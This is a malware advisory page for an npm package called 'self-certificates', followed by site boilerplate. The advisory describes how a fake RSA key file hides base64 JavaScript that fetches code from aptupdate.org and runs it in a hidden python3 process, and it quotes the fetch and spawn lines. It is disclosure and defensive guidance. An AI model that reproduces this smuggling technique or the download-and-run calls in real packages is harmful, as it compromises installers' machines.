Malicious code in self-certificates (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. ## Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious code in self-certificates (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. ## Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-14543
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-rwg4-cx82-h5hq"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a905405acd9273b4969731e
Added to database: 08/27/2026, 15:13:09 UTC
Last updated: 08/27/2026, 21:14:36 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.